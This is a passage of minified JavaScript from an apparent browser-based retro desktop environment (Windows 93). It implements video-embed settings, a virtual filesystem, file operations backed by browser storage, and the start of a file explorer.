6626 "string" != typeof t && "number" != typeof t || (t = (t + "").replace(/\"/g, '\\"'), i += " --" + r + "=" + e(t))
6627 }), i
6628}
6629
6630function a(e, r) {
6631 $io.obj.all(t._get.embed, function(t) {
6632 if (t.playerRegExp.test(e)) return r.iframable = !0, e.replace(t.playerRegExp, function(i, r, o) {
6633 e = t.buildSrcURL(r, o)
6634 }), console.log(e), !0
6635 }), "true" === r.iframable || !0 === r.iframable ? i.call(this, l.iframe, {
6636 command: e,
6637 program: "iframe",
6638 arguments: [e],
6639 launcher: r,
6640 options: r
6641 }) : $alert.info('<a target="_blank" href="' + e + '">' + e + "</a><br>don't allow iframe embeding...")
6642}
6643
6644function s(t, e) {
6645 var i = [];
6646 return $io.obj.all(e, function(e, r) {
6647 -1 != t.indexOf(r) && i.push([r, e].join("="))
6648 }), i.length > 0 ? "?" + i.join("&") : ""
6649}
6650var l = t._apps;
6651r.parseURL = function(t, e, i) {
6652 var r = {
6653 title: t.replace(/https?:\/\/(www\.)?/, "").replace(/\/$/, ""),
6654 exe: t,
6655 icon: "shortcut.png"
6656 };
6657 return console.log(t, r), $url.checkFavicon(t, function(o, n) {
6658 o && (r.icon = n, (i || $noop)(r)), $ajax.post("/proxy.php", {
6659 url: t,
6660 favicon: !o
6661 }).done(function(t) {
6662 t.favicon ? $url.checkImage(t.favicon, function(i) {
6663 r.icon = t.favicon, r.iframable = t.iframable, e(r)
6664 }) : (r.iframable = t.iframable, e(r))
6665 })
6666 }), r
6667}, r.silent = function() {
6668 return r.apply({
6669 silent: !0
6670 }, arguments)
6671}, r.parseGeometry = function(t) {
6672 var e = {};
6673 return t.replace(/(?:(\d+|auto)x(\d+|auto))?(?:([+-])(\d+|auto)([+-])(\d+|auto))?/, function(t, i, r, o, n, a, s) {
6674 e.width = i || "auto", e.height = r || "auto", o ? (e.top = "+" === a ? s : "auto", e.bottom = "-" === a ? s : "auto", e.left = "+" === o ? n : "auto", e.right = "-" === o ? n : "auto") : (e.top = "auto", e.bottom = "auto", e.left = "auto", e.right = "auto")
6675 }), e
6676};
6677r.parse = o, r.stringify = n, window.$exe = r, t._get.embed = {
6678 youtube: {
6679 type: "youtube",
6680 settings: {
6681 autoplay: 0,
6682 controls: 1,
6683 loop: 0
6684 },
6685 whitelist: ["autohide", "cc_load_policy", "color", "disablekb", "enablejsapi", "autoplay", "controls", "loop", "playlist", "rel", "wmode", "start", "showinfo", "end", "fs", "hl", "iv_load_policy", "list", "listType", "modestbranding", "origin", "playerapiid", "playsinline", "theme"],
6686 transformAttrMap: {},
6687 processSettings: function(t, e) {
6688 return 1 == t.loop && void 0 == t.playlist && (t.playlist = e), t
6689 },
6690 buildSrcURL: function(t, e) {
6691 return t + this.playerID + e + s(this.whitelist, this.processSettings(this.settings))
6692 },
6693 playerID: "www.youtube.com/embed/",
6694 playerRegExp: /([a-z\:\/]*\/\/)(?:www\.)?(?:youtube(?:-nocookie)?\.com\/(?:[^\/\n\s]+\/\S+\/|(?:v|e(?:mbed)?)\/|\S*?[?&]v=)|youtu\.be\/)([a-zA-Z0-9_-]{11})/,
6695 timeRegExp: /t=(([0-9]+)h)?(([0-9]{1,2})m)?(([0-9]+)s?)?/,
6696 isAdditionaResRequired: function() {
6697 return !1
6698 },
6699 additionalRes: []
6700 },
6701 vimeo: {
6702 type: "vimeo",
6703 settings: {
6704 autoplay: 0,
6705 loop: 0,
6706 api: 0,
6707 player_id: ""
6708 },
6709 whitelist: ["autoplay", "autopause", "badge", "byline", "color", "portrait", "loop", "api", "playerId", "title"],
6710 transformAttrMap: {
6711 playerId: "player_id"
6712 },
6713 processSettings: function(t, e) {
6714 return t
6715 },
6716 buildSrcURL: function(t, e) {
6717 return t + this.playerID + e + s(this.whitelist, this.processSettings(this.settings))
6718 },
6719 playerID: "player.vimeo.com/video/",
6720 playerRegExp: /([a-z\:\/]*\/\/)(?:www\.)?vimeo\.com\/(?:channels\/[A-Za-z0-9]+\/)?([A-Za-z0-9]+)/,
6721 timeRegExp: "",
6722 isAdditionaResRequired: function() {
6723 return !1
6724 },
6725 additionalRes: []
6726 },
6727 dailymotion: {
6728 type: "dailymotion",
6729 settings: {
6730 autoPlay: 0,
6731 logo: 0
6732 },
6733 whitelist: ["api", "autoPlay", "background", "chromeless", "controls", "foreground", "highlight", "html", "id", "info", "logo", "network", "quality", "related", "startscreen", "webkit-playsinline", "syndication"],
6734 transformAttrMap: {},
6735 processSettings: function(t, e) {
6736 return t
6737 },
6738 buildSrcURL: function(t, e) {
6739 return t + this.playerID + e + s(this.whitelist, this.processSettings(this.settings))
6740 },
6741 playerID: "www.dailymotion.com/embed/video/",
6742 playerRegExp: /([a-z\:\/]*\/\/)(?:www\.)?www\.dailymotion\.com\/video\/([A-Za-z0-9]+)/,
6743 timeRegExp: /start=([0-9]+)/,
6744 isAdditionaResRequired: function() {
6745 return !1
6746 },
6747 additionalRes: []
6748 },
6749 youku: {
6750 type: "youku",
6751 settings: {},
6752 whitelist: [],
6753 transformAttrMap: {},
6754 processSettings: function(t, e) {
6755 return t
6756 },
6757 buildSrcURL: function(t, e) {
6758 return t + this.playerID + e + s(this.whitelist, this.processSettings(this.settings))
6759 },
6760 playerID: "player.youku.com/embed/",
6761 playerRegExp: /([a-z\:\/]*\/\/)(?:www\.)?youku\.com\/v_show\/id_([A-Za-z0-9]+).html/,
6762 timeRegExp: "",
6763 isAdditionaResRequired: function() {
6764 return !1
6765 },
6766 additionalRes: []
6767 },
6768 vine: {
6769 type: "youku",
6770 settings: {
6771 audio: 0,
6772 start: 0,
6773 type: "simple"
6774 },
6775 whitelist: ["audio", "start", "type"],
6776 transformAttrMap: {},
6777 processSettings: function(t, e) {
6778 return delete t.type, t
6779 },
6780 buildSrcURL: function(t, e) {
6781 var i = this.settings.type;
6782 return t + this.playerID + e + /embed/ + i + s(this.whitelist, this.processSettings(this.settings))
6783 },
6784 playerID: "vine.co/v/",
6785 playerRegExp: /([a-z\:\/]*\/\/)(?:www\.)?vine\.co\/v\/([A-Za-z0-9]+)/,
6786 timeRegExp: "",
6787 isAdditionaResRequired: function() {
6788 return !window.VINE_EMBEDS
6789 },
6790 additionalRes: [{
6791 element: '<script src="//platform.vine.co/static/scripts/embed.js"><\/script>'
6792 }]
6793 }
6794}
6795});
6796//os/sys/fs.js
6797! function(e) {
6798"use strict";
6799
6800function t(e, t) {
6801 return le._get.ext.mime[t || e] || null
6802}
6803
6804function i(e, t, i) {
6805 function n(e, t) {
6806 l || $io.obj.each(s[e], function(i, n) {
6807 n.replace(/(.+)\./, function(i, s) {
6808 $io.arr.all(s.split("_"), function(i) {
6809 t === i && (l = "/c/sys/skins/" + le._settings.skin + "/" + e + "/" + n)
6810 })
6811 })
6812 })
6813 }
6814 var s = le._files.c.sys.skins[le._settings.skin || "w93"];
6815 s || (s = le._files.c.sys.skins.w93);
6816 var l;
6817 return function(e) {
6818 var i = (e || "").split("/");
6819 n("ext", t), n("type", i[1]), n("mime", i[0])
6820 }(i), l || (l = "/c/sys/skins/" + le._settings.skin + "/file.png"), l
6821}
6822
6823function n(e) {
6824 return "/" === e ? "/c/sys/skins/" + le._settings.skin + "/devices/computer.png" : "/a/" === e ? "/c/sys/skins/" + le._settings.skin + "/devices/drive-storage.gif" : "/c/" === e ? "/c/sys/skins/" + le._settings.skin + "/devices/drive-harddisk.gif" : s.utils.resolvePath(e) === le._path.home ? "/c/sys/skins/" + le._settings.skin + "/places/user-home.png" : "/c/sys/skins/" + le._settings.skin + "/places/folder.png"
6825}
6826var s = {};
6827s.utils = {}, s.utils.find = function(e, t) {
6828 return $io.find(e, t, le._files, "/", [".", ".."])
6829}, s.utils.resolvePath = function(e) {
6830 return e = e.replace(/^~|\$HOME/g, le._path.home), e = e.replace(/~|\$HOME/g, le._path.home.replace(/^\//, "")), e = e.replace(/\$SKIN/g, le._path.skin), e = e.replace(/\/\//g, "/")
6831}, s.utils.getMenuOpenWith = function(e) {
6832 e || (e = []), "string" == typeof e && (e = [e]);
6833 var t = [],
6834 i = [];
6835 return $io.arr.all(e, function(n) {
6836 1 === n.nodeType && (n = n.getAttribute("data-path"));
6837 var l = s.utils.getOpeners(n);
6838 (l = l.concat("hexed", "code", "iframe")) && $io.arr.all(l, function(n) {
6839 if (-1 === i.indexOf(n)) {
6840 i.push(n);
6841 var l = le._apps[n].icon ? s.utils.normalizeIcon(le._apps[n].icon) : "/c/sys/skins/" + le._settings.skin + "/programs.png";
6842 t.push({
6843 name: le._apps[n].name || $io.str.capitalise(n),
6844 icon: l,
6845 action: function(t) {
6846 $io.arr.all(e, function(e) {
6847 1 === e.nodeType && (e = e.getAttribute("data-path")), setTimeout(function() {
6848 $exe(n + ' "' + e + '"')
6849 }, 0)
6850 })
6851 }
6852 })
6853 }
6854 })
6855 }), t.length ? t : [{
6856 name: "No programs found...",
6857 disabled: !0
6858 }]
6859}, s.utils.getFileMenu = function(e, t, i) {
6860 "function" == typeof t && (i = t, t = !1);
6861 var n = $io.obj.getPath(le._files, e, "/"),
6862 s = [],
6863 l = {};
6864 return $io.obj.all(n, function(e, n) {
6865 if ("." !== n && ".." !== n) {
6866 var r = [];
6867 l[n] = [], $io.obj.all(e, function(e, s) {
6868 "." !== s && ".." !== s && (l[n].push(s), r.push({
6869 name: s,
6870 radio: t,
6871 folder: n,
6872 action: i
6873 }))
6874 }), l[n] = l[n].sort(function(e, t) {
6875 return e.localeCompare(t)
6876 }), r = r.sort(function(e, t) {
6877 return e.name.localeCompare(t.name)
6878 }), s.push({
6879 name: n,
6880 items: r
6881 })
6882 }
6883 }), s = s.sort(function(e, t) {
6884 return e.name.localeCompare(t.name)
6885 }), {
6886 path: e,
6887 foldersList: Object.keys(l),
6888 folders: l,
6889 menu: s
6890 }
6891}, s.utils.replaceExt = function(e, t) {
6892 return s.utils.getExt(e) ? e.replace(/\.[0-9a-z]+$/, t ? "." + t : "") : e + (t ? "." + t : "")
6893}, s.utils.isFolder = function(e) {
6894 return "/" === e.slice(-1)
6895}, s.utils.isFolderEmpty = function(e, t) {
6896 var i = !0;
6897 $file.iterateFolder(e, function(e) {
6898 s.utils.isFolder(e) || (i = !1)
6899 }).done(function() {
6900 t(i)
6901 })
6902}, s.utils.isShortcut = function(e) {
6903 return /\.lnk42$/.test(e)
6904}, s.utils.isDownloadable = function(e) {
6905 if (e) {
6906 var t = e.dataset.url || e.href;
6907 return !(t && "/" !== t.slice(-1))
6908 }
6909 var i = !1;
6910 return $file.eachSelection(function(e, t) {
6911 var n = t.dataset.url || t.href;
6912 if (!n || "/" === n.slice(-1)) return i = !1;
6913 i = !0
6914 }), i
6915}, s.utils.getName = function(e) {
6916 var t = ("string" == typeof e ? e : "").split("/");
6917 return "/" === e.slice(-1) ? t[t.length - 2] : t.pop()
6918}, s.utils.getFileName = function(e) {
6919 return ("string" == typeof e ? e : "").split("/").pop()
6920}, s.utils.getFolderName = function(e) {
6921 var t = ("string" == typeof e ? e : "").split("/");
6922 return "/" === e.slice(-1) ? t[t.length - 2] : ""
6923}, s.utils.getFolderPath = function(e) {
6924 var t = ("string" == typeof e ? e : "").split("/").slice(0, -1).join("/");
6925 return t + "/"
6926}, s.utils.getExt = function(e) {
6927 var t = (e || "").match(/(?:\.)([0-9a-z]+)(?:[!?].+)?$/i);
6928 return t && t[1] ? t[1].toLowerCase() : ""
6929}, s.utils.getMime = function(e) {
6930 return t(e, s.utils.getExt(e))
6931}, s.utils.getIcon = function(e) {
6932 if (s.utils.isFolder(e)) return n(e);
6933 var l = s.utils.getExt(e),
6934 r = t(e, l);
6935 return i(e, l, r)
6936}, s.utils.normalizeIcon = function(e) {
6937 return 0 === e.indexOf("/") || 0 === e.indexOf("http") ? e : "/c/sys/skins/" + le._settings.skin + "/" + e
6938}, s.utils.getInfo = function(e) {
6939 if (s.utils.isFolder(e)) {
6940 var l = n(e),
6941 r = "";
6942 return "/a/" === e ? r = "Storage (A:)" : "/c/" === e && (r = "System (C:)"), {
6943 icon: l,
6944 name: r
6945 }
6946 }
6947 var o = s.utils.getExt(e),
6948 u = t(e, o);
6949 return {
6950 ext: o,
6951 mime: u,
6952 icon: l = i(e, o, u),
6953 name: r = s.utils.getName(e)
6954 }
6955}, s.utils.getOpeners = function(e) {
6956 var i = s.utils.getExt(e),
6957 n = t(e, i),
6958 l = [];
6959 return le._settings.defaultApp[i] && (l = l.concat(le._settings.defaultApp[i])), le._get.ext.apps[i] && (l = l.concat(le._get.ext.apps[i])), n && $io.arr.all(le._get.mime.apps, function(e) {
6960 e[0].test(n) && (l ? -1 == l.indexOf(e[1]) && l.push(e[1]) : l = [e[1]])
6961 }), l
6962}, s.utils.parseAccept = function(e) {
6963 var t = [],
6964 i = {};
6965 return $io.arr.all(e.split(","), function(e) {
6966 0 === e.indexOf(".") ? (i.ext || (i.ext = []), i.ext.push(e.replace(/^\./, ""))) : t.push($io.reg.escape(e.replace("*", "_4_²_")))
6967 }), t.length && (i.mimetype = new RegExp(t.join("|").replace(/_4_²_/g, ".*"))), i
6968}, s.utils.getPathObj = function(e, t) {
6969 e || (e = le._path.home), (e = s.utils.resolvePath(e)).length > 1 && "/" === e.slice(-1) && (e = e.slice(0, -1)), "/" !== (t = t || "").slice(-1) && (t += "/"), e = 0 === e.indexOf("/") ? e : t + e;
6970 var i = $io.obj.getPath(le._files, e, "/");
6971 if (void 0 !== i && "number" != typeof i) {
6972 var n = "/" + $file.getTruePath(i);
6973 return n.length > 1 && "/" === n.slice(-1) && (n = n.slice(0, -1)), {
6974 cwd: n,
6975 obj: i
6976 }
6977 }
6978}, s.utils.exist = function(e, t) {
6979 e || (e = le._path.home), (e = s.utils.resolvePath(e)).length > 1 && "/" === e.slice(-1) && (e = e.slice(0, -1)), "/" !== (t = t || "").slice(-1) && (t += "/"), e = 0 === e.indexOf("/") ? e : t + e;
6980 var i = $io.obj.getPath(le._files, e, "/");
6981 return void 0 !== i && i
6982}, s.utils.getFolderObj = function(e, t) {
6983 var i = s.utils.getFolderPath(e);
6984 return s.utils.getPathObj(i, t)
6985}, s.utils.iteratePath = function(e, t) {
6986 var i = s.utils.getPathObj(e, t),
6987 n = [],
6988 l = [],
6989 r = [];
6990 if (i) return $io.obj.all(i.obj, function(e, t) {
6991 "." !== t && ".." !== t && (s.utils.isShortcut(t) ? r.push(t) : "object" == typeof e ? n.push(t) : l.push(t))
6992 }), {
6993 tree: i,
6994 obj: i.obj,
6995 cwd: i.cwd,
6996 dirs: n,
6997 files: l,
6998 lnks: r
6999 }
7000}, e.$fs = s
7001}(this);
7002//os/sys/file.js
7003! function(e) {
7004"use strict";
7005window.URL || (window.URL = window.webkitURL);
7006var t = {};
7007t.getUrl = function(e, n, o) {
7008 o || (o = $fs.utils.getInfo(e)), 0 === (e + "").indexOf("/a/") ? t.open(e, "Blob", function(e) {
7009 var t = window.URL.createObjectURL(e);
7010 (n || $noop)(t)
7011 }, o.mime) : (0 === (e + "").indexOf("c/") && (e = "/" + e), (n || $noop)(e))
7012}, e.$file = t, system42(function(e) {
7013 function n(e, t, n, o) {
7014 var i = e;
7015 0 === e.indexOf("/a/") ? (i = e.replace(/^\/a\//, ""), $store.keys().indexOf(i) > -1 ? (t || $noop)(i) : (n || $noop)(i)) : ($notif("You don't have write permission on this drive", e), (o || $noop)())
7016 }
7017
7018 function o(e, t) {
7019 $db.keys(function(n, o) {
7020 var i = !0;
7021 $io.arr.all(o.concat($store.keys()), function(t) {
7022 0 === t.indexOf(e) && (i = !1)
7023 }), i ? $db.set(e, null, t) : t(null)
7024 })
7025 }
7026
7027 function i(e) {
7028 var t = "",
7029 n = "",
7030 o = e.replace(/(\.lnk42)$/, function(e, n) {
7031 return n && (t = ".lnk42"), ""
7032 }).replace(/(?:.+)(\.[0-9a-z]+)$/i, function(e, t) {
7033 return t && (n = t), ""
7034 });
7035 return function(e) {
7036 return o + " (" + e + ")" + n + t
7037 }
7038 }
7039
7040 function r(e, t, n, o) {
7041 var i = $store.getRaw(e);
7042 $store.set(t, i), n || $store.del(e), o()
7043 }
7044
7045 function a(e, t, n, o) {
7046 $db.getRaw(e, function(i, r) {
7047 $db.set(t, r, function() {
7048 n ? o() : $db.del(e, o)
7049 })
7050 })
7051 }
7052 t.open = function(e, t, n) {
7053 function o(e) {
7054 n.call(r, e, a)
7055 }
7056 if ("string" != typeof e) throw new Error("$file.open : no path specified");
7057 var i = e,
7058 r = $fs.utils.getInfo(e);
7059 "function" != typeof t || n || (n = t, t = "String");
7060 var a = "String";
7061 if (0 === e.indexOf("/a/"))
7062 if (i = e.replace(/^\/a\//, ""), $store.keys().indexOf(i) > -1) {
7063 var s;
7064 "Blob" === t && (s = $fs.utils.getMime(i)), $io.String[t]($store.getRaw(i), o, s || "text/plain")
7065 } else $db.getRaw(i, function(e, n) {
7066 a = $io.type(n), $io[a][t](n, o, r.mime)
7067 });
7068 else $ajax.get(e, {
7069 arraybuffer: "String" !== t
7070 }).done(function(e, i, s, l) {
7071 var f = s.getResponseHeader("content-type") || "",
7072 u = l ? "application/json" : f.split(";").shift();
7073 "String" === t ? (a = "String", n.call(r, s.responseText, t)) : (a = "ArrayBuffer", $io.ArrayBuffer[t](s.response, o, u))
7074 }).fail(function() {
7075 console.log(arguments), $alert.error("Can't load file")
7076 })
7077 }, t.iterateFolder = function(e, t) {
7078 var n;
7079 if (0 === e.indexOf("/a/")) {
7080 var o = e.replace(/^\/a\//, "");
7081 $io.arr.all($store.keys(), function(e) {
7082 0 === e.indexOf(o) && t(e, "store", o)
7083 }), $db.keys(function(e, i) {
7084 $io.arr.all(i, function(e) {
7085 0 === e.indexOf(o) && t(e, "db", o)
7086 }), "function" == typeof n && n()
7087 })
7088 } else $io.arr.all($fs.utils.find("/.*/", e), function(n) {
7089 t(n, "server", e)
7090 }), setTimeout(n, 1);
7091 return {
7092 done: function(e) {
7093 n = e
7094 }
7095 }
7096 }, t.delete = function(e, t) {
7097 function n() {
7098 t && t(e)
7099 }
7100 "/a/system32.dll" === e && $exe("vega");
7101 var i = $fs.utils.isFolder(e);
7102 if (0 === e.indexOf("/a/")) {
7103 var r = e.replace(/^\/a\//, "");
7104 if (i) $io.arr.all($store.keys(), function(e) {
7105 0 === e.indexOf(r) && $store.del(e)
7106 }), $db.keys(function(e, t) {
7107 var o = [];
7108 $io.arr.all(t, function(e) {
7109 0 === e.indexOf(r) && o.push(e)
7110 }), o.length ? $io.arr.each(o, function(e, t) {
7111 t === o.length - 1 ? $db.del(e, n) : $db.del(e)
7112 }) : n()
7113 });
7114 else {
7115 var a = $fs.utils.getFolderPath(r);
7116 $store.del(r), $db.del(r, function(e) {
7117 o(a, n)
7118 })
7119 }
7120 } else $notif("You don't have write permission on this drive", e)
7121 }, t.copy = function(e, n, o) {
7122 var r = $fs.utils.getFolderObj(n),
7123 a = $fs.utils.getName(e),
7124 s = $fs.utils.isFolder(e),
7125 l = a;
7126 if (r && r.obj)
7127 if (void 0 === r.obj[a]) l = a;
7128 else
7129 for (var f = i(a), u = 1; void 0 !== r.obj[l];) l = f(u++);
7130 t.move(e, n + l + (s ? "/" : ""), function(e) {
7131 o(e)
7132 }, !0)
7133 }, t.rename = function(e, n, o) {
7134 if ($fs.utils.isFolder(e)) {
7135 var i = e.split("/").slice(0, -2);
7136 i.push(n);
7137 r = i.join("/") + "/"
7138 } else var r = $fs.utils.getFolderPath(e) + n;
7139 t.move(e, r, o)
7140 }, t.move = function(e, i, s, l) {
7141 var f = $fs.utils.isFolder(e);
7142 $fs.utils.isFolderEmpty(e, function(u) {
7143 function c() {
7144 var e = $fs.utils.getFolderPath($);
7145 f ? s && s("/a/" + i) : o(e, function() {
7146 s && s("/a/" + i)
7147 })
7148 }
7149
7150 function d(e, t, n, o, i) {
7151 if (e === t) i();
7152 else if ($fs.utils.exist("/a/" + t)) {
7153 var r = $state.isLoading();
7154 r && $state.loaded(), $confirm(t + " already exist ! Overwrite ?", function(a) {
7155 r && $state.loading(), a ? o(e, t, n, i) : i()
7156 })
7157 } else o(e, t, n, i)
7158 }
7159 var $ = e.replace(/^\/a\//, "");
7160 if (i = i.replace(/^\/a\//, ""), f && !u) {
7161 var p = [];
7162 t.iterateFolder(e, function(e) {
7163 p.push(e)
7164 }).done(function() {
7165 $io.arr.each(p, function(n, o) {
7166 o === p.length - 1 ? t.move("/a/" + n, "/a/" + n.replace($, i), function() {
7167 l ? c() : t.delete(e, c)
7168 }, l) : t.move("/a/" + n, "/a/" + n.replace($, i), null, l)
7169 })
7170 })
7171 } else n(e, function(e) {
7172 d(e, i, l, r, c)
7173 }, function(e) {
7174 d(e, i, l, a, c)
7175 })
7176 })
7177 }, t.save = function(t, o, i) {
7178 function r(n) {
7179 $notif("File saved", t);
7180 var o = n || $fs.utils.getFileName(t);
7181 $fs.utils.getFolderPath(t) !== e._path.desktop || e._desktop[o] || $explorer.utils.saveIconPos(t, 1, o), e._events.trigger("change:" + t), $explorer.refresh(), i && i(o), $state.loaded()
7182 }
7183
7184 function a(e) {
7185 $io.File.Blob(e, function(n) {
7186 $db.set((t || "").replace(/^\/a\//, "") + e.name, n, function() {
7187 r(e.name)
7188 })
7189 }, e.type)
7190 }
7191 $state.loading();
7192 var s = $io.type(o);
7193 "FileList" === s ? $io.arr.all(o, function(e) {
7194 a(e)
7195 }) : "File" === s ? a(o) : n(t, function(e) {
7196 if ("Blob" === $io.type(o)) $io.Blob.String(o, function(t) {
7197 $store.set(e, t), r()
7198 });
7199 else if (t.endsWith(".json")) try {
7200 o = JSON.parse(o), $store.set(e, o), r()
7201 } catch (e) {
7202 $notif("Can't save changes", t + "<br>" + e)
7203 } else $store.set(e, o), r()
7204 }, function(e) {
7205 $db.set(e, o, r)
7206 }, function() {
7207 $state.loaded()
7208 })
7209 }, t.download = function(e, n) {
7210 if (!e) throw new Error("No path specified");
7211 n || (n = "string" == typeof e ? e.split("/").pop() : "derp"), "Blob" == $io.type(e) ? window.saveAs(e, n) : 0 === e.indexOf("/a/") ? t.open(e, "Blob", function(e) {
7212 window.saveAs(e, n)
7213 }) : function(e, t) {
7214 var n = document.createElement("a");
7215 "download" in n ? (n.setAttribute("href", e), n.setAttribute("download", t), $el(n).trigger("click")) : window.open(e, "_blank", "")
7216 }(e, n)
7217 };
7218 var s = document.createElement("input");
7219 s.type = "file", t.upload = function(e, t) {
7220 t = t || {}, s.accept = t.accept || "*", s.multiple = t.multiple || !1, s.onchange = function(t) {
7221 var n = this;
7222 setTimeout(function() {
7223 e(n.files), s.onchange = null
7224 }, 0)
7225 }, s.click()
7226 }, t.ondrop = function(e, t, n) {
7227 function o(e) {
7228 e.preventDefault(), s++, this.classList.add("ui_dropzone--droppable")
7229 }
7230
7231 function i(e) {
7232 return !1
7233 }
7234
7235 function r(e) {
7236 e.preventDefault(), 0 === --s && this.classList.remove("ui_dropzone--droppable")
7237 }
7238
7239 function a() {
7240 this.classList.remove("ui_dropzone--droppable"), $el(e).off("click", t, a)
7241 }
7242 var s = 0;
7243 $el(e).on("dragenter", t, o).on("dragover", t, i).on("dragleave", t, r).on("click", t, a).on("drop", t, function(e) {
7244 return e.preventDefault(), this.classList.remove("ui_dropzone--droppable"), n.apply(this, arguments), !1
7245 }, !0)
7246 }, t.setDotFolders = function(e) {
7247 $io.obj.each(e, function(n, o) {
7248 "number" == typeof n || ".." === o || "." === o || $fs.utils.isShortcut(o) || (Object.defineProperties(n, {
7249 "..": {
7250 enumerable: !1,
7251 value: e
7252 },
7253 ".": {
7254 enumerable: !1,
7255 value: n
7256 }
7257 }), t.setDotFolders(n))
7258 })
7259 }, t.getTruePath = function(e, n) {
7260 if ("string" != typeof n && (n = ""), e[".."]) {
7261 for (var o in e[".."])
7262 if (e[".."].hasOwnProperty(o) && e[".."][o] === e) return n = o + "/" + n, t.getTruePath(e[".."], n);
7263 return n
7264 }
7265 return n
7266 };
7267 t.scan = function(n, o) {
7268 0 === n.indexOf("/a/") ? $db.keys(function(i, r) {
7269 var a = {};
7270 "localStorageWrapper" != $db.store._driver && (r = r.concat($store.keys())), $io.arr.all(r, function(e, t) {
7271 $fs.utils.isFolder(e) ? $io.obj.path.call("/", a, e, {}) : $io.obj.path.call("/", a, e, 0)
7272 }), e._files.a = a, t.setDotFolders(e._files), o && o($io.obj.getPath(e._files, n, "/"))
7273 }) : o && o($io.obj.getPath(e._files, n, "/"))
7274 }, t.format = function(e) {
7275 $store.clear(), $db.clear(function() {
7276 "function" == typeof e && e()
7277 })
7278 }, window.$file = t
7279})
7280}(this);
7281//os/sys/explorer.js
7282system42("explorer", function(e) {
7283"use strict";
7284
7285function t(i, o, r) {
7286 function a(t) {
7287 function i(e) {
7288 var t = new Image;
7289 return t.width = 32, t.height = 32, t.src = $fs.utils.normalizeIcon(e), t
7290 }
7291 t || (t = k), k = t, w.save && v();
7292 var o, r = [],
7293 a = [],
7294 l = [],
7295 s = $fs.utils.iteratePath(t);
7296 if ("object" != typeof s) return !1;
7297 o = s.obj, t = "/" !== s.cwd ? s.cwd + "/" : s.cwd, r = s.dirs, a = s.files, l = s.lnks, 0 === t.indexOf("/a/") ? (L.classList.add("ui_explorer--local"), L.classList.remove("ui_explorer--not_local")) : (L.classList.add("ui_explorer--not_local"), L.classList.remove("ui_explorer--local")), a.sort(function(e, t) {
7298 return N(e, t)
7299 }), r.sort(function(e, t) {
7300 return N(e, t)
7301 }), l.sort(function(t, n) {
7302 if (0 !== p) return N(t, n);
7303 if (e._desktop && e._desktop[t] && e._desktop[n]) {
7304 var i = e._desktop[t],
7305 o = e._desktop[n];
7306 if (i && o) return i.time > o.time ? 1 : -1
7307 }
7308 });
7309 var c = document.createDocumentFragment(),
7310 u = document.createElement("div"),
7311 d = document.createElement("div"),
7312 f = document.createElement("span");
7313 u.setAttribute("tabindex", "0"), d.className = "ico";
7314 var m = !1;
7315 for ($io.arr.all(r, function(e) {
7316 var n = u.cloneNode(!1),
7317 o = f.cloneNode(!1);
7318 n.setAttribute("data-exe", t + e + "/"), n.setAttribute("data-path", t + e + "/"), n.setAttribute("data-name", e), n.className = "ui_icon ui_icon__folder";
7319 var r = $fs.utils.getInfo(t + e + "/");
7320 n.appendChild(i(r.icon)), o.textContent = r.name || e, n.appendChild(o), c.appendChild(n)
7321 }), $io.arr.all(a, function(e) {
7322 var n = u.cloneNode(!1),
7323 o = f.cloneNode(!1),
7324 r = $fs.utils.getInfo(e);
7325 r.exe = t + e, r.path = t + e, r.title = e, /\/c\/files\/images\/icons\/|\/c\/sys\/skins\//.test(t) && /^image\//.test(r.mime) && (m = !0), $io.obj.all(r, function(e, t) {
7326 n.setAttribute("data-" + t, e)
7327 }), n.setAttribute("data-name", e), o.textContent = e, n.className = "ui_icon ui_icon__file", n.appendChild(i(m ? t + e : r.icon)), n.appendChild(o), c.appendChild(n)
7328 }), $io.arr.all(l, function(n) {
7329 var r = n.replace(/\.lnk42$/, ""),
7330 a = u.cloneNode(!1),
7331 l = f.cloneNode(!1),
7332 s = $fs.utils.getInfo(r),
7333 d = $store.get((t + n).replace(/^\/a\//, ""));
7334 if ($extend(s, o[n], d), s) {
7335 s.path = t + n, s.title = s.title || r, s.name = n;
7336 var p = s.exe ? s.exe.match(/(.[^ ]*)/)[0] : null;
7337 (!s.icon || /file\.png$/.test(s.icon)) && p && e._apps[p] && e._apps[p].icon && (s.icon = e._apps[p].icon), s.icon && !/file\.png$/.test(s.icon) || !$fs.utils.isFolder(s.exe) || (s.icon = $fs.utils.getIcon(s.exe)), $io.obj.all(s, function(e, t) {
7338 a.setAttribute("data-" + t, e)
7339 }), l.textContent = s.title, a.className = "ui_icon ui_icon__file ui_icon__lnk42", a.appendChild(i(s.icon)), a.appendChild(l), c.appendChild(a)
7340 }
7341 }); L.firstChild;) L.removeChild(L.firstChild);
7342 L.appendChild(c), L.appendChild(A), (w.mimetype || w.ext) && $io.arr.all(L.querySelectorAll(".ui_icon__file"), function(e) {
7343 var t = !1;
7344 w.mimetype && w.mimetype.test(e.dataset.mime) && (t = !0), $io.arr.all(w.ext, function(n) {
7345 $fs.utils.getExt(e.dataset.title) === n && (t = !0)
7346 }), t || e.classList.add("ui_disabled")
7347 }), K && K.menu && K.menu.refresh(), w.silent || w.browse || $route(k), C && !w.save && h(C), K && K.changeTitle && K.changeIcon && (K.changeTitle($fs.utils.getFolderName(t) || "/"), K.changeIcon($fs.utils.getIcon(t))), n.call(j, w.viewType), w.onready.call(j, L), k = I.value = t
7348 }
7349
7350 function l() {
7351 var e = I.value,
7352 t = e.slice(0, -1).split("/");
7353 return t.pop(), e = t.join("/"), a(e ? e + "/" : "/")
7354 }
7355
7356 function s() {
7357 a(i = I.value)
7358 }
7359
7360 function c() {
7361 a(i = e._path.home)
7362 }
7363
7364 function u(e) {
7365 "number" != typeof(e = e || window.event).which && (e.which = e.keyCode), 13 == e.which && s()
7366 }
7367
7368 function d() {
7369 W.onchange = W.onkeyup = function(e) {
7370 v(), q(this.value), 13 === e.keyCode && K && K.close && K.close(!0)
7371 }, W.onfocus = function() {
7372 setTimeout(function() {
7373 t.utils.inputSelectFileName(W)
7374 }, 100)
7375 }, M.onchange = M.onkeyup = function(e) {
7376 _()
7377 }, g(C), x(C)
7378 }
7379
7380 function h(n) {
7381 setTimeout(function() {
7382 t.selection.remove();
7383 var i = L.querySelector('div[data-name="' + n + '"]');
7384 i && (e._selected = [i], i.classList.add("ui_selected"))
7385 }, 100)
7386 }
7387
7388 function v() {
7389 if (D && W) {
7390 var e = k + W.value;
7391 D.value = e, h(W.value)
7392 }
7393 }
7394
7395 function _() {
7396 if (M.value && "*" !== M.value) {
7397 var e = M.options[M.selectedIndex].dataset.ext;
7398 W.value = $fs.utils.replaceExt(W.value, e)
7399 }
7400 v()
7401 }
7402
